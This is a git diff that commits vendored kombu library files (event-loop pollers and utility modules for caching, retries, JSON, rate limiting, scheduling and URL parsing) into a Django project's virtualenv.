+KQ_NOTE_RENAME = getattr(__select__, 'KQ_NOTE_RENAME', 32) +KQ_NOTE_REVOKE = getattr(__select__, 'KQ_NOTE_REVOKE', 64) +POLLIN = getattr(__select__, 'POLLIN', 1) +POLLOUT = getattr(__select__, 'POLLOUT', 4) +POLLERR = getattr(__select__, 'POLLERR', 8) +POLLHUP = getattr(__select__, 'POLLHUP', 16) +POLLNVAL = getattr(__select__, 'POLLNVAL', 32) + +READ = POLL_READ = 0x001 +WRITE = POLL_WRITE = 0x004 +ERR = POLL_ERR = 0x008 | 0x010 + +try: + SELECT_BAD_FD = {errno.EBADF, errno.WSAENOTSOCK} +except AttributeError: + SELECT_BAD_FD = {errno.EBADF} + + +class _epoll: + + def __init__(self): + self._epoll = epoll() + + def register(self, fd, events): + try: + self._epoll.register(fd, events) + except Exception as exc: + if getattr(exc, 'errno', None) != errno.EEXIST: + raise + return fd + + def unregister(self, fd): + try: + self._epoll.unregister(fd) + except (OSError, ValueError, KeyError, TypeError): + pass + except OSError as exc: + if getattr(exc, 'errno', None) not in (errno.ENOENT, errno.EPERM): + raise + + def poll(self, timeout): + try: + return self._epoll.poll(timeout if timeout is not None else -1) + except Exception as exc: + if getattr(exc, 'errno', None) != errno.EINTR: + raise + + def close(self): + self._epoll.close() + + +class _kqueue: + w_fflags = (KQ_NOTE_WRITE | KQ_NOTE_EXTEND | + KQ_NOTE_ATTRIB | KQ_NOTE_DELETE) + + def __init__(self): + self._kqueue = kqueue() + self._active = {} + self.on_file_change = None + self._kcontrol = self._kqueue.control + + def register(self, fd, events): + self._control(fd, events, KQ_EV_ADD) + self._active[fd] = events + return fd + + def unregister(self, fd): + events = self._active.pop(fd, None) + if events: + try: + self._control(fd, events, KQ_EV_DELETE) + except OSError: + pass + + def watch_file(self, fd): + ev = kevent(fd, + filter=KQ_FILTER_VNODE, + flags=KQ_EV_ADD | KQ_EV_ENABLE | KQ_EV_CLEAR, + fflags=self.w_fflags) + self._kcontrol([ev], 0) + + def unwatch_file(self, fd): + ev = kevent(fd, + filter=KQ_FILTER_VNODE, + flags=KQ_EV_DELETE, + fflags=self.w_fflags) + self._kcontrol([ev], 0) + + def _control(self, fd, events, flags): + if not events: + return + kevents = [] + if events & WRITE: + kevents.append(kevent(fd, + filter=KQ_FILTER_WRITE, + flags=flags)) + if not kevents or events & READ: + kevents.append( + kevent(fd, filter=KQ_FILTER_READ, flags=flags), + ) + control = self._kcontrol + for e in kevents: + try: + control([e], 0) + except ValueError: + pass + + def poll(self, timeout): + try: + kevents = self._kcontrol(None, 1000, timeout) + except Exception as exc: + if getattr(exc, 'errno', None) == errno.EINTR: + return + raise + events, file_changes = {}, [] + for k in kevents: + fd = k.ident + if k.filter == KQ_FILTER_READ: + events[fd] = events.get(fd, 0) | READ + elif k.filter == KQ_FILTER_WRITE: + if k.flags & KQ_EV_EOF: + events[fd] = ERR + else: + events[fd] = events.get(fd, 0) | WRITE + elif k.filter == KQ_EV_ERROR: + events[fd] = events.get(fd, 0) | ERR + elif k.filter == KQ_FILTER_VNODE: + if k.fflags & KQ_NOTE_DELETE: + self.unregister(fd) + file_changes.append(k) + if file_changes: + self.on_file_change(file_changes) + return list(events.items()) + + def close(self): + self._kqueue.close() + + +class _poll: + + def __init__(self): + self._poller = xpoll() + self._quick_poll = self._poller.poll + self._quick_register = self._poller.register + self._quick_unregister = self._poller.unregister + + def register(self, fd, events): + fd = fileno(fd) + poll_flags = 0 + if events & ERR: + poll_flags |= POLLERR + if events & WRITE: + poll_flags |= POLLOUT + if events & READ: + poll_flags |= POLLIN + self._quick_register(fd, poll_flags) + return fd + + def unregister(self, fd): + try: + fd = fileno(fd) + except OSError as exc: + # we don't know the previous fd of this object + # but it will be removed by the next poll iteration. + if getattr(exc, 'errno', None) in SELECT_BAD_FD: + return fd + raise + self._quick_unregister(fd) + return fd + + def poll(self, timeout, round=math.ceil, + POLLIN=POLLIN, POLLOUT=POLLOUT, POLLERR=POLLERR, + READ=READ, WRITE=WRITE, ERR=ERR, Integral=Integral): + timeout = 0 if timeout and timeout < 0 else round((timeout or 0) * 1e3) + try: + event_list = self._quick_poll(timeout) + except (_selecterr, OSError) as exc: + if getattr(exc, 'errno', None) == errno.EINTR: + return + raise + + ready = [] + for fd, event in event_list: + events = 0 + if event & POLLIN: + events |= READ + if event & POLLOUT: + events |= WRITE + if event & POLLERR or event & POLLNVAL or event & POLLHUP: + events |= ERR + assert events + if not isinstance(fd, Integral): + fd = fd.fileno() + ready.append((fd, events)) + return ready + + def close(self): + self._poller = None + + +class _select: + + def __init__(self): + self._all = (self._rfd, + self._wfd, + self._efd) = set(), set(), set() + + def register(self, fd, events): + fd = fileno(fd) + if events & ERR: + self._efd.add(fd) + if events & WRITE: + self._wfd.add(fd) + if events & READ: + self._rfd.add(fd) + return fd + + def _remove_bad(self): + for fd in self._rfd | self._wfd | self._efd: + try: + _selectf([fd], [], [], 0) + except (_selecterr, OSError) as exc: + if getattr(exc, 'errno', None) in SELECT_BAD_FD: + self.unregister(fd) + + def unregister(self, fd): + try: + fd = fileno(fd) + except OSError as exc: + # we don't know the previous fd of this object + # but it will be removed by the next poll iteration. + if getattr(exc, 'errno', None) in SELECT_BAD_FD: + return + raise + self._rfd.discard(fd) + self._wfd.discard(fd) + self._efd.discard(fd) + + def poll(self, timeout): + try: + read, write, error = _selectf( + self._rfd, self._wfd, self._efd, timeout, + ) + except (_selecterr, OSError) as exc: + if getattr(exc, 'errno', None) == errno.EINTR: + return + elif getattr(exc, 'errno', None) in SELECT_BAD_FD: + return self._remove_bad() + raise + + events = {} + for fd in read: + if not isinstance(fd, Integral): + fd = fd.fileno() + events[fd] = events.get(fd, 0) | READ + for fd in write: + if not isinstance(fd, Integral): + fd = fd.fileno() + events[fd] = events.get(fd, 0) | WRITE + for fd in error: + if not isinstance(fd, Integral): + fd = fd.fileno() + events[fd] = events.get(fd, 0) | ERR + return list(events.items()) + + def close(self): + self._rfd.clear() + self._wfd.clear() + self._efd.clear() + + +def _get_poller(): + if detect_environment() != 'default': + # greenlet + return _select + elif epoll: + # Py2.6+ Linux + return _epoll + elif kqueue and 'netbsd' in sys.platform: + return _kqueue + elif xpoll: + return _poll + else: + return _select + + +def poll(*args, **kwargs): + """Create new poller instance.""" + return _get_poller()(*args, **kwargs) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/functional.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/functional.py new file mode 100644 index 00000000..366a0b99 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/functional.py @@ -0,0 +1,354 @@ +"""Functional Utilities.""" + +import inspect +import random +import threading +from collections import OrderedDict, UserDict +from collections.abc import Iterable, Mapping +from itertools import count, repeat +from time import sleep, time + +from vine.utils import wraps + +from .encoding import safe_repr as _safe_repr + +__all__ = ( + 'LRUCache', 'memoize', 'lazy', 'maybe_evaluate', + 'is_list', 'maybe_list', 'dictfilter', 'retry_over_time', +) + +KEYWORD_MARK = object() + + +class ChannelPromise: + + def __init__(self, contract): + self.__contract__ = contract + + def __call__(self): + try: + return self.__value__ + except AttributeError: + value = self.__value__ = self.__contract__() + return value + + def __repr__(self): + try: + return repr(self.__value__) + except AttributeError: + return f'' + + +class LRUCache(UserDict): + """LRU Cache implementation using a doubly linked list to track access. + + Arguments: + limit (int): The maximum number of keys to keep in the cache. + When a new key is inserted and the limit has been exceeded, + the *Least Recently Used* key will be discarded from the + cache. + """ + + def __init__(self, limit=None): + self.limit = limit + self.mutex = threading.RLock() + self.data = OrderedDict() + + def __getitem__(self, key): + with self.mutex: + value = self[key] = self.data.pop(key) + return value + + def update(self, *args, **kwargs): + with self.mutex: + data, limit = self.data, self.limit + data.update(*args, **kwargs) + if limit and len(data) > limit: + # pop additional items in case limit exceeded + for _ in range(len(data) - limit): + data.popitem(last=False) + + def popitem(self, last=True): + with self.mutex: + return self.data.popitem(last) + + def __setitem__(self, key, value): + # remove least recently used key. + with self.mutex: + if self.limit and len(self.data) >= self.limit: + self.data.pop(next(iter(self.data))) + self.data[key] = value + + def __iter__(self): + return iter(self.data) + + def _iterate_items(self): + with self.mutex: + for k in self: + try: + yield (k, self.data[k]) + except KeyError: # pragma: no cover + pass + iteritems = _iterate_items + + def _iterate_values(self): + with self.mutex: + for k in self: + try: + yield self.data[k] + except KeyError: # pragma: no cover + pass + + itervalues = _iterate_values + + def _iterate_keys(self): + # userdict.keys in py3k calls __getitem__ + with self.mutex: + return self.data.keys() + iterkeys = _iterate_keys + + def incr(self, key, delta=1): + with self.mutex: + # this acts as memcached does- store as a string, but return a + # integer as long as it exists and we can cast it + newval = int(self.data.pop(key)) + delta + self[key] = str(newval) + return newval + + def __getstate__(self): + d = dict(vars(self)) + d.pop('mutex') + return d + + def __setstate__(self, state): + self.__dict__ = state + self.mutex = threading.RLock() + + keys = _iterate_keys + values = _iterate_values + items = _iterate_items + + +def memoize(maxsize=None, keyfun=None, Cache=LRUCache): + """Decorator to cache function return value.""" + def _memoize(fun): + mutex = threading.Lock() + cache = Cache(limit=maxsize) + + @wraps(fun) + def _M(*args, **kwargs): + if keyfun: + key = keyfun(args, kwargs) + else: + key = args + (KEYWORD_MARK,) + tuple(sorted(kwargs.items())) + try: + with mutex: + value = cache[key] + except KeyError: + value = fun(*args, **kwargs) + _M.misses += 1 + with mutex: + cache[key] = value + else: + _M.hits += 1 + return value + + def clear(): + """Clear the cache and reset cache statistics.""" + cache.clear() + _M.hits = _M.misses = 0 + + _M.hits = _M.misses = 0 + _M.clear = clear + _M.original_func = fun + return _M + + return _memoize + + +class lazy: + """Holds lazy evaluation. + + Evaluated when called or if the :meth:`evaluate` method is called. + The function is re-evaluated on every call. + + Overloaded operations that will evaluate the promise: + :meth:`__str__`, :meth:`__repr__`, :meth:`__cmp__`. + """ + + def __init__(self, fun, *args, **kwargs): + self._fun = fun + self._args = args + self._kwargs = kwargs + + def __call__(self): + return self.evaluate() + + def evaluate(self): + return self._fun(*self._args, **self._kwargs) + + def __str__(self): + return str(self()) + + def __repr__(self): + return repr(self()) + + def __eq__(self, rhs): + return self() == rhs + + def __ne__(self, rhs): + return self() != rhs + + def __deepcopy__(self, memo): + memo[id(self)] = self + return self + + def __reduce__(self): + return (self.__class__, (self._fun,), {'_args': self._args, + '_kwargs': self._kwargs}) + + +def maybe_evaluate(value): + """Evaluate value only if value is a :class:`lazy` instance.""" + if isinstance(value, lazy): + return value.evaluate() + return value + + +def is_list(obj, scalars=(Mapping, str), iters=(Iterable,)): + """Return true if the object is iterable. + + Note: + Returns false if object is a mapping or string. + """ + return isinstance(obj, iters) and not isinstance(obj, scalars or ()) + + +def maybe_list(obj, scalars=(Mapping, str)): + """Return list of one element if ``l`` is a scalar.""" + return obj if obj is None or is_list(obj, scalars) else [obj] + + +def dictfilter(d=None, **kw): + """Remove all keys from dict ``d`` whose value is :const:`None`.""" + d = kw if d is None else (dict(d, **kw) if kw else d) + return {k: v for k, v in d.items() if v is not None} + + +def shufflecycle(it): + it = list(it) # don't modify callers list + shuffle = random.shuffle + for _ in repeat(None): + shuffle(it) + yield it[0] + + +def fxrange(start=1.0, stop=None, step=1.0, repeatlast=False): + cur = start * 1.0 + while 1: + if not stop or cur <= stop: + yield cur + cur += step + else: + if not repeatlast: + break + yield cur - step + + +def fxrangemax(start=1.0, stop=None, step=1.0, max=100.0): + sum_, cur = 0, start * 1.0 + while 1: + if sum_ >= max: + break + yield cur + if stop: + cur = min(cur + step, stop) + else: + cur += step + sum_ += cur + + +def retry_over_time(fun, catch, args=None, kwargs=None, errback=None, + max_retries=None, interval_start=2, interval_step=2, + interval_max=30, callback=None, timeout=None): + """Retry the function over and over until max retries is exceeded. + + For each retry we sleep a for a while before we try again, this interval + is increased for every retry until the max seconds is reached. + + Arguments: + fun (Callable): The function to try + catch (Tuple[BaseException]): Exceptions to catch, can be either + tuple or a single exception class. + + Keyword Arguments: + args (Tuple): Positional arguments passed on to the function. + kwargs (Dict): Keyword arguments passed on to the function. + errback (Callable): Callback for when an exception in ``catch`` + is raised. The callback must take three arguments: + ``exc``, ``interval_range`` and ``retries``, where ``exc`` + is the exception instance, ``interval_range`` is an iterator + which return the time in seconds to sleep next, and ``retries`` + is the number of previous retries. + max_retries (int): Maximum number of retries before we give up. + If neither of this and timeout is set, we will retry forever. + If one of this and timeout is reached, stop. + interval_start (float): How long (in seconds) we start sleeping + between retries. + interval_step (float): By how much the interval is increased for + each retry. + interval_max (float): Maximum number of seconds to sleep + between retries. + timeout (int): Maximum seconds waiting before we give up. + """ + kwargs = {} if not kwargs else kwargs + args = [] if not args else args + interval_range = fxrange(interval_start, + interval_max + interval_start, + interval_step, repeatlast=True) + end = time() + timeout if timeout else None + for retries in count(): + try: + return fun(*args, **kwargs) + except catch as exc: + if max_retries is not None and retries >= max_retries: + raise + if end and time() > end: + raise + if callback: + callback() + tts = float(errback(exc, interval_range, retries) if errback + else next(interval_range)) + if tts: + for _ in range(int(tts)): + if callback: + callback() + sleep(1.0) + # sleep remainder after int truncation above. + sleep(abs(int(tts) - tts)) + + +def reprkwargs(kwargs, sep=', ', fmt='{0}={1}'): + return sep.join(fmt.format(k, _safe_repr(v)) for k, v in kwargs.items()) + + +def reprcall(name, args=(), kwargs=None, sep=', '): + kwargs = {} if not kwargs else kwargs + return '{}({}{}{})'.format( + name, sep.join(map(_safe_repr, args or ())), + (args and kwargs) and sep or '', + reprkwargs(kwargs, sep), + ) + + +def accepts_argument(func, argument_name): + argument_spec = inspect.getfullargspec(func) + return ( + argument_name in argument_spec.args or + argument_name in argument_spec.kwonlyargs + ) + + +# Compat names (before kombu 3.0) +promise = lazy +maybe_promise = maybe_evaluate diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/imports.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/imports.py new file mode 100644 index 00000000..fd4482a8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/imports.py @@ -0,0 +1,65 @@ +"""Import related utilities.""" + +import importlib +import sys + +from kombu.exceptions import reraise + + +def symbol_by_name(name, aliases=None, imp=None, package=None, + sep='.', default=None, **kwargs): + """Get symbol by qualified name. + + The name should be the full dot-separated path to the class:: + + modulename.ClassName + + Example:: + + celery.concurrency.processes.TaskPool + ^- class name + + or using ':' to separate module and symbol:: + + celery.concurrency.processes:TaskPool + + If `aliases` is provided, a dict containing short name/long name + mappings, the name is looked up in the aliases first. + + Examples: + >>> symbol_by_name('celery.concurrency.processes.TaskPool') + + + >>> symbol_by_name('default', { + ... 'default': 'celery.concurrency.processes.TaskPool'}) + + + # Does not try to look up non-string names. + >>> from celery.concurrency.processes import TaskPool + >>> symbol_by_name(TaskPool) is TaskPool + True + """ + aliases = {} if not aliases else aliases + if imp is None: + imp = importlib.import_module + + if not isinstance(name, str): + return name # already a class + + name = aliases.get(name) or name + sep = ':' if ':' in name else sep + module_name, _, cls_name = name.rpartition(sep) + if not module_name: + cls_name, module_name = None, package if package else cls_name + try: + try: + module = imp(module_name, package=package, **kwargs) + except ValueError as exc: + reraise(ValueError, + ValueError(f"Couldn't import {name!r}: {exc}"), + sys.exc_info()[2]) + return getattr(module, cls_name) if cls_name else module + except (ImportError, AttributeError): + if default is None: + raise + return default diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/json.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/json.py new file mode 100644 index 00000000..cedaa793 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/json.py @@ -0,0 +1,91 @@ +"""JSON Serialization Utilities.""" + +import datetime +import decimal +import json as stdjson +import uuid + +try: + from django.utils.functional import Promise as DjangoPromise +except ImportError: # pragma: no cover + class DjangoPromise: + """Dummy object.""" + +try: + import json + _json_extra_kwargs = {} + + class _DecodeError(Exception): + pass +except ImportError: # pragma: no cover + import simplejson as json + from simplejson.decoder import JSONDecodeError as _DecodeError + _json_extra_kwargs = { + 'use_decimal': False, + 'namedtuple_as_object': False, + } + + +_encoder_cls = type(json._default_encoder) +_default_encoder = None # ... set to JSONEncoder below. + + +class JSONEncoder(_encoder_cls): + """Kombu custom json encoder.""" + + def default(self, o, + dates=(datetime.datetime, datetime.date), + times=(datetime.time,), + textual=(decimal.Decimal, uuid.UUID, DjangoPromise), + isinstance=isinstance, + datetime=datetime.datetime, + text_t=str): + reducer = getattr(o, '__json__', None) + if reducer is not None: + return reducer() + else: + if isinstance(o, dates): + if not isinstance(o, datetime): + o = datetime(o.year, o.month, o.day, 0, 0, 0, 0) + r = o.isoformat() + if r.endswith("+00:00"): + r = r[:-6] + "Z" + return r + elif isinstance(o, times): + return o.isoformat() + elif isinstance(o, textual): + return text_t(o) + return super().default(o) + + +_default_encoder = JSONEncoder + + +def dumps(s, _dumps=json.dumps, cls=None, default_kwargs=None, **kwargs): + """Serialize object to json string.""" + if not default_kwargs: + default_kwargs = _json_extra_kwargs + return _dumps(s, cls=cls or _default_encoder, + **dict(default_kwargs, **kwargs)) + + +def loads(s, _loads=json.loads, decode_bytes=True): + """Deserialize json from string.""" + # None of the json implementations supports decoding from + # a buffer/memoryview, or even reading from a stream + # (load is just loads(fp.read())) + # but this is Python, we love copying strings, preferably many times + # over. Note that pickle does support buffer/memoryview + # + if isinstance(s, memoryview): + s = s.tobytes().decode('utf-8') + elif isinstance(s, bytearray): + s = s.decode('utf-8') + elif decode_bytes and isinstance(s, bytes): + s = s.decode('utf-8') + + try: + return _loads(s) + except _DecodeError: + # catch "Unpaired high surrogate" error + return stdjson.loads(s) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/limits.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/limits.py new file mode 100644 index 00000000..d82884f5 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/limits.py @@ -0,0 +1,81 @@ +"""Token bucket implementation for rate limiting.""" + +from collections import deque +from time import monotonic + +__all__ = ('TokenBucket',) + + +class TokenBucket: + """Token Bucket Algorithm. + + See Also: + https://en.wikipedia.org/wiki/Token_Bucket + + Most of this code was stolen from an entry in the ASPN Python Cookbook: + https://code.activestate.com/recipes/511490/ + + Warning: + Thread Safety: This implementation is not thread safe. + Access to a `TokenBucket` instance should occur within the critical + section of any multithreaded code. + """ + + #: The rate in tokens/second that the bucket will be refilled. + fill_rate = None + + #: Maximum number of tokens in the bucket. + capacity = 1 + + #: Timestamp of the last time a token was taken out of the bucket. + timestamp = None + + def __init__(self, fill_rate, capacity=1): + self.capacity = float(capacity) + self._tokens = capacity + self.fill_rate = float(fill_rate) + self.timestamp = monotonic() + self.contents = deque() + + def add(self, item): + self.contents.append(item) + + def pop(self): + return self.contents.popleft() + + def clear_pending(self): + self.contents.clear() + + def can_consume(self, tokens=1): + """Check if one or more tokens can be consumed. + + Returns: + bool: true if the number of tokens can be consumed + from the bucket. If they can be consumed, a call will also + consume the requested number of tokens from the bucket. + Calls will only consume `tokens` (the number requested) + or zero tokens -- it will never consume a partial number + of tokens. + """ + if tokens <= self._get_tokens(): + self._tokens -= tokens + return True + return False + + def expected_time(self, tokens=1): + """Return estimated time of token availability. + + Returns: + float: the time in seconds. + """ + _tokens = self._get_tokens() + tokens = max(tokens, _tokens) + return (tokens - _tokens) / self.fill_rate + + def _get_tokens(self): + if self._tokens < self.capacity: + now = monotonic() + delta = self.fill_rate * (now - self.timestamp) + self._tokens = min(self.capacity, self._tokens + delta) + self.timestamp = now + return self._tokens diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/objects.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/objects.py new file mode 100644 index 00000000..7fef4a2f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/objects.py @@ -0,0 +1,57 @@ +"""Object Utilities.""" + +__all__ = ('cached_property',) + +try: + from functools import _NOT_FOUND + from functools import cached_property as _cached_property +except ImportError: + # TODO: Remove this fallback once we drop support for Python < 3.8 + from cached_property import threaded_cached_property as _cached_property + + _NOT_FOUND = object() + + +class cached_property(_cached_property): + """Implementation of Cached property.""" + + def __init__(self, fget=None, fset=None, fdel=None): + super().__init__(fget) + self.__set = fset + self.__del = fdel + + if not hasattr(self, 'attrname'): + # This is a backport so we set this ourselves. + self.attrname = self.func.__name__ + + def __get__(self, instance, owner=None): + # TODO: Remove this after we drop support for Python<3.8 + # or fix the signature in the cached_property package + return super().__get__(instance, owner) + + def __set__(self, instance, value): + if instance is None: + return self + + with self.lock: + if self.__set is not None: + value = self.__set(instance, value) + + cache = instance.__dict__ + cache[self.attrname] = value + + def __delete__(self, instance): + if instance is None: + return self + + with self.lock: + value = instance.__dict__.pop(self.attrname, _NOT_FOUND) + + if self.__del and value is not _NOT_FOUND: + self.__del(instance, value) + + def setter(self, fset): + return self.__class__(self.func, fset, self.__del) + + def deleter(self, fdel): + return self.__class__(self.func, self.__set, fdel) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/scheduling.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/scheduling.py new file mode 100644 index 00000000..1875fce4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/scheduling.py @@ -0,0 +1,108 @@ +"""Scheduling Utilities.""" + +from itertools import count + +from .imports import symbol_by_name + +__all__ = ( + 'FairCycle', 'priority_cycle', 'round_robin_cycle', 'sorted_cycle', +) + +CYCLE_ALIASES = { + 'priority': 'kombu.utils.scheduling:priority_cycle', + 'round_robin': 'kombu.utils.scheduling:round_robin_cycle', + 'sorted': 'kombu.utils.scheduling:sorted_cycle', +} + + +class FairCycle: + """Cycle between resources. + + Consume from a set of resources, where each resource gets + an equal chance to be consumed from. + + Arguments: + fun (Callable): Callback to call. + resources (Sequence[Any]): List of resources. + predicate (type): Exception predicate. + """ + + def __init__(self, fun, resources, predicate=Exception): + self.fun = fun + self.resources = resources + self.predicate = predicate + self.pos = 0 + + def _next(self): + while 1: + try: + resource = self.resources[self.pos] + self.pos += 1 + return resource + except IndexError: + self.pos = 0 + if not self.resources: + raise self.predicate() + + def get(self, callback, **kwargs): + """Get from next resource.""" + for tried in count(0): # for infinity + resource = self._next() + try: + return self.fun(resource, callback, **kwargs) + except self.predicate: + # reraise when retries exchausted. + if tried >= len(self.resources) - 1: + raise + + def close(self): + """Close cycle.""" + + def __repr__(self): + """``repr(cycle)``.""" + return ''.format( + self=self, size=len(self.resources)) + + +class round_robin_cycle: + """Iterator that cycles between items in round-robin.""" + + def __init__(self, it=None): + self.items = it if it is not None else [] + + def update(self, it): + """Update items from iterable.""" + self.items[:] = it + + def consume(self, n): + """Consume n items.""" + return self.items[:n] + + def rotate(self, last_used): + """Move most recently used item to end of list.""" + items = self.items + try: + items.append(items.pop(items.index(last_used))) + except ValueError: + pass + return last_used + + +class priority_cycle(round_robin_cycle): + """Cycle that repeats items in order.""" + + def rotate(self, last_used): + """Unused in this implementation.""" + + +class sorted_cycle(priority_cycle): + """Cycle in sorted order.""" + + def consume(self, n): + """Consume n items.""" + return sorted(self.items[:n]) + + +def cycle_by_name(name): + """Get cycle class by name.""" + return symbol_by_name(name, CYCLE_ALIASES) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/text.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/text.py new file mode 100644 index 00000000..1d5fb9de --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/text.py @@ -0,0 +1,68 @@ +"""Text Utilities.""" +# flake8: noqa + + +from difflib import SequenceMatcher + +from kombu import version_info_t + + +def escape_regex(p, white=''): + # type: (str, str) -> str + """Escape string for use within a regular expression.""" + # what's up with re.escape? that code must be neglected or something + return ''.join(c if c.isalnum() or c in white + else ('\\000' if c == '\000' else '\\' + c) + for c in p) + + +def fmatch_iter(needle, haystack, min_ratio=0.6): + # type: (str, Sequence[str], float) -> Iterator[Tuple[float, str]] + """Fuzzy match: iteratively. + + Yields: + Tuple: of ratio and key. + """ + for key in haystack: + ratio = SequenceMatcher(None, needle, key).ratio() + if ratio >= min_ratio: + yield ratio, key + + +def fmatch_best(needle, haystack, min_ratio=0.6): + # type: (str, Sequence[str], float) -> str + """Fuzzy match - Find best match (scalar).""" + try: + return sorted( + fmatch_iter(needle, haystack, min_ratio), reverse=True, + )[0][1] + except IndexError: + pass + + +def version_string_as_tuple(s): + # type: (str) -> version_info_t + """Convert version string to version info tuple.""" + v = _unpack_version(*s.split('.')) + # X.Y.3a1 -> (X, Y, 3, 'a1') + if isinstance(v.micro, str): + v = version_info_t(v.major, v.minor, *_splitmicro(*v[2:])) + # X.Y.3a1-40 -> (X, Y, 3, 'a1', '40') + if not v.serial and v.releaselevel and '-' in v.releaselevel: + v = version_info_t(*list(v[0:3]) + v.releaselevel.split('-')) + return v + + +def _unpack_version(major, minor=0, micro=0, releaselevel='', serial=''): + # type: (int, int, int, str, str) -> version_info_t + return version_info_t(int(major), int(minor), micro, releaselevel, serial) + + +def _splitmicro(micro, releaselevel='', serial=''): + # type: (int, str, str) -> Tuple[int, str, str] + for index, char in enumerate(micro): + if not char.isdigit(): + break + else: + return int(micro or 0), releaselevel, serial + return int(micro[:index]), micro[index:], serial diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/time.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/time.py new file mode 100644 index 00000000..863f4017 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/time.py @@ -0,0 +1,11 @@ +"""Time Utilities.""" +# flake8: noqa + + +__all__ = ('maybe_s_to_ms',) + + +def maybe_s_to_ms(v): + # type: (Optional[Union[int, float]]) -> int + """Convert seconds to milliseconds, but return None for None.""" + return int(float(v) * 1000.0) if v is not None else v diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/url.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/url.py new file mode 100644 index 00000000..de3a9139 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/url.py @@ -0,0 +1,128 @@ +"""URL Utilities.""" +# flake8: noqa + + +from collections.abc import Mapping +from functools import partial +from typing import NamedTuple +from urllib.parse import parse_qsl, quote, unquote, urlparse + +try: + import ssl + ssl_available = True +except ImportError: # pragma: no cover + ssl_available = False + +from ..log import get_logger + +safequote = partial(quote, safe='') +logger = get_logger(__name__) + +class urlparts(NamedTuple): + """Named tuple representing parts of the URL.""" + + scheme: str + hostname: str + port: int + username: str + password: str + path: str + query: Mapping + + +def parse_url(url): + # type: (str) -> Dict + """Parse URL into mapping of components.""" + scheme, host, port, user, password, path, query = _parse_url(url) + if query: + keys = [key for key in query.keys() if key.startswith('ssl_')] + for key in keys: + if key == 'ssl_cert_reqs': + query[key] = parse_ssl_cert_reqs(query[key]) + if query[key] is None: + logger.warning('Defaulting to insecure SSL behaviour.') + + if 'ssl' not in query: + query['ssl'] = {} + + query['ssl'][key] = query[key] + del query[key] + + return dict(transport=scheme, hostname=host, + port=port, userid=user, + password=password, virtual_host=path, **query) + + +def url_to_parts(url): + # type: (str) -> urlparts + """Parse URL into :class:`urlparts` tuple of components.""" + scheme = urlparse(url).scheme + schemeless = url[len(scheme) + 3:] + # parse with HTTP URL semantics + parts = urlparse('http://' + schemeless) + path = parts.path or '' + path = path[1:] if path and path[0] == '/' else path + return urlparts( + scheme, + unquote(parts.hostname or '') or None, + parts.port, + unquote(parts.username or '') or None, + unquote(parts.password or '') or None, + unquote(path or '') or None, + dict(parse_qsl(parts.query)), + ) + + +_parse_url = url_to_parts + + +def as_url(scheme, host=None, port=None, user=None, password=None, + path=None, query=None, sanitize=False, mask='**'): + # type: (str, str, int, str, str, str, str, bool, str) -> str + """Generate URL from component parts.""" + parts = [f'{scheme}://'] + if user or password: + if user: + parts.append(safequote(user)) + if password: + if sanitize: + parts.extend([':', mask] if mask else [':']) + else: + parts.extend([':', safequote(password)]) + parts.append('@') + parts.append(safequote(host) if host else '') + if port: + parts.extend([':', port]) + parts.extend(['/', path]) + return ''.join(str(part) for part in parts if part) + + +def sanitize_url(url, mask='**'): + # type: (str, str) -> str + """Return copy of URL with password removed.""" + return as_url(*_parse_url(url), sanitize=True, mask=mask) + + +def maybe_sanitize_url(url, mask='**'): + # type: (Any, str) -> Any + """Sanitize url, or do nothing if url undefined.""" + if isinstance(url, str) and '://' in url: + return sanitize_url(url, mask) + return url + + +def parse_ssl_cert_reqs(query_value): + # type: (str) -> Any + """Given the query parameter for ssl_cert_reqs, return the SSL constant or None.""" + if ssl_available: + query_value_to_constant = { + 'CERT_REQUIRED': ssl.CERT_REQUIRED, + 'CERT_OPTIONAL': ssl.CERT_OPTIONAL, + 'CERT_NONE': ssl.CERT_NONE, + 'required': ssl.CERT_REQUIRED, + 'optional': ssl.CERT_OPTIONAL, + 'none': ssl.CERT_NONE, + } + return query_value_to_constant[query_value] + else: + return None diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/utils/uuid.py b/django_lottopy/lib/python3.10/site-packages/kombu/utils/uuid.py new file mode 100644 index 00000000..010b3440 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/utils/uuid.py @@ -0,0 +1,12 @@ +"""UUID utilities.""" + +from uuid import uuid4 + + +def uuid(_uuid=uuid4): + """Generate unique id in UUID4 format. + + See Also: + For now this is provided by :func:`uuid.uuid4`. + """ + return str(_uuid()) diff --git a/django_lottopy/lib/python3.10/site-packages/lxml/__pycache__/__init__.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/lxml/__pycache__/__init__.cpython-310.pyc index d7e7e7c124d1c90dd01e6c2c295187f16af84859..8e881cfd00017ab02209fccd19f9c13b0b5eea8a 100644 GIT binary patch delta 21 bcmcc2dYP3cpO=@50SNlUXC!UpInD$CI)w#w delta 21 